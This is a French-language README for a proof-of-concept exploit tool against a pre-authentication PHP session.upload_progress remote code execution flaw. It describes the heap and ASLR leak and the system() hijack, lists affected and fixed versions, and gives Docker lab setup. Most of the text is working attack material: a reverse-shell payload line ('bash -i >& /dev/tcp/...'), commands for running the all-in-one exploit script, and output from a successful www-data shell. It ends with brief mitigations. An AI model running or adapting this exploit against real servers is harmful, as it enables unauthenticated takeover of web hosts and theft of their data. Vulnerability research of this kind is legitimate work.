
Preuve de concept d'exploit pour une RCE pré-authentification via PHP session.upload_progress (PHP2Shell), avec fuite heap/ASLR, profils d'offsets par build et un gestionnaire de reverse shell tout-en-un.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) est une faille d'exécution de code à distance non authentifiée dans PHP sous Apache
mod_php. Une requêtemultipart/form-dataforgée déclenche un abandon pour dépassement de mémoire dans le gestionnairesession.upload_progresspré-requête, laissant des pointeurs obsolètes qui divulguent le tas Zend et les bases delibphp.soviaSet-Cookie(contournant l'ASLR) ; une HashTable forgée redirige ensuite un destructeur verszif_system, exécutant des commandes en tant que worker web (www-data). Aucune authentification n'est requise et les paramètres de session vulnérables sont activés par défaut.
| Catégorie | Version |
|---|---|
| Vulnérable | PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x avant le correctif |
| Corrigée | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 ou ultérieure (2026-10-21) |
| Vérifiée sur | php:8.4.26-apache officiel (Debian 13, amd64) |
Les offsets dépendent de la compilation (version · arch · distro). Ce PoC fournit un profil pour
8.4.26-apache amd64; les autres compilations nécessitent leur propreprofiles/*.json.
www-data)libphp, et potentiellement jetons et clés de session) même avant l'exécution de code à distanceVictime = php:8.4.26-apache officiel avec la configuration ci-dessous. L'attaquant opère depuis un conteneur
séparé (eqst-kali) sur le même pont Docker ; le reverse shell rappelle son IP.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| Précondition | État dans ce lab |
|---|---|
PHP 8.2–8.5 (pré-patch) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | On (par défaut) |
session.use_strict_mode | 0 (par défaut) |
display_errors | On (livre la fuite de l'étape 1) |
memory_limit | 128M (par défaut — laissé inchangé) |
post_max_size / upload_max_filesize > memory_limit (permet à un corps de requête d'atteindre l'OOM) | 256M (les applications capables d'upload relèvent couramment ces valeurs) |
| Processus worker Apache unique (l'état obsolète est par processus) | 1 |
Note sur l'hôte (WSL2) : sur Windows Docker Desktop (WSL2), le noyau mappe
libphpà0x7c..., en dessous de la vérification ASLR0x7F...de l'exploit upstream, qui rejette donc la fuite valide.p2s_shell.pyélargit automatiquement cette plage. Sur un hôte Linux natif, le patch est sans effet.
p2s_shell.py est un processus unique qui ouvre son propre listener, récupère l'exploit upstream,
choisit les offsets depuis profiles/*.json selon la version de PHP de la cible, déclenche la chaîne et capture
un reverse shell amélioré en PTY (pas de nc séparé).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
Prérequis unique : déposer la charge utile de reverse-shell dans la racine web de la victime (le porteur de commande
fait 14 octets, donc les charges utiles longues vont dans un fichier exécuté via bash</w/c, conformément à l'amont) :
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
Exécutez le PoC depuis l'intérieur de l'attaquant (les chemins sont relatifs au script) :
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
Il identifie X-Powered-By: PHP/8.4.26, charge le profil correspondant et ouvre le shell :
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Options :
--run 'c1;c2' — mode batch (aucun terminal interactif nécessaire)--no-pty — conserver un shell simple et muet au lieu de la mise à niveau PTY--php-version / --arch — remplacer la build cible lorsque X-Powered-By est masqué--lport — port du reverse shell (doit correspondre au port intégré dans /w/c, par défaut 4444)session.upload_progress.enabled = Off si la progression d'upload n'est pas utiliséedisplay_errors = Off en production (bloque la fuite de l'étape 1 fournie)zend_mm_heap corrupted